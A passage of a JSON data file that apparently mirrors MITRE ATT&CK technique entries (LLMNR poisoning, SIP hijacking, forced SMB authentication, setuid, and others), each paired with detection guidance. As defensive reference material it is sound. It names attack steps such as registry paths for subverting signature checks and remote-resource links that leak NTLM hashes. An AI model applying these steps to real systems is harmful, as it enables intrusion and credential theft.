an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward", + "value": "LLMNR/NBT-NS Poisoning - T1171", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1171", + "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution", + "https://technet.microsoft.com/library/cc958811.aspx", + "https://github.com/nomex/nbnspoof", + "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response", + "https://github.com/SpiderLabs/Responder", + "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", + "https://github.com/Kevin-Robertson/Conveigh" + ], + "external_id": "T1171", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows Registry", + "Packet capture", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files", + "value": "Credentials in Files - T1081", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1081", + "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", + "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + ], + "external_id": "T1081", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).\n\nDetection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server", + "value": "Spearphishing Link - T1192", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1192" + ], + "external_id": "T1192", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Web proxy", + "Email gateway", + "Detonation chamber", + "SSL/TLS inspection", + "DNS records", + "Mail server" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes", + "value": "PowerShell - T1086", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1086", + "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "https://github.com/PowerShellEmpire/Empire", + "https://github.com/mattifestation/PowerSploit", + "https://github.com/jaredhaight/PSAttack", + "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", + "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html" + ], + "external_id": "T1086", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Security Software Discovery - T1063", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1063" + ], + "external_id": "T1063", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ] + }, + "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No", + "value": "Launchctl - T1152", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1152", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "external_id": "T1152", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee" + }, + { + "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n===Browser-based Exploitation===\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n===Office Applications===\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n===Common Third-party Applications===\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, System calls, Process Monitoring\n\nSystem Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.\n\nRemote Support: Yes", + "value": "Exploitation for Client Execution - T1203", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1203" + ], + "external_id": "T1203", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Anti-virus", + "System calls", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward", + "value": "Modify Existing Service - T1031", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1031", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://twitter.com/r0wdy%20/status/936365549553991680", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)" + ], + "external_id": "T1031", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes", + "value": "Standard Cryptographic Protocol - T1032", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1032", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" + ], + "external_id": "T1032", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n*'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nDetection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n* '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Matt Graeber, @mattifestation, SpecterOps", + "value": "SIP and Trust Provider Hijacking - T1198", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1198", + "https://msdn.microsoft.com/library/ms537359.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", + "https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf", + "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", + "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", + "https://github.com/mattifestation/PoCSubjectInterfacePackage", + "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + ], + "external_id": "T1198", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Application Logs", + "DLL monitoring", + "Loaded DLLs", + "Process Monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31" + }, + { + "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User", + "value": "Setuid and Setgid - T1166", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1166" + ], + "external_id": "T1166", + "kill_chain": [ + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2" + }, + { + "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C", + "value": "Forced Authentication - T1187", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1187", + "https://en.wikipedia.org/wiki/Server%20Message%20Block", + "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/", + "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx", + "https://github.com/hob0/hashjacking", + "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + ], + "external_id": "T1187", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Network protocol analysis", + "Network device logs", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2" + }, + { + "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator", + "value": "Valid Accounts - T1078", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1078", + "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ], + "external_id": "T1078", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation", + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + 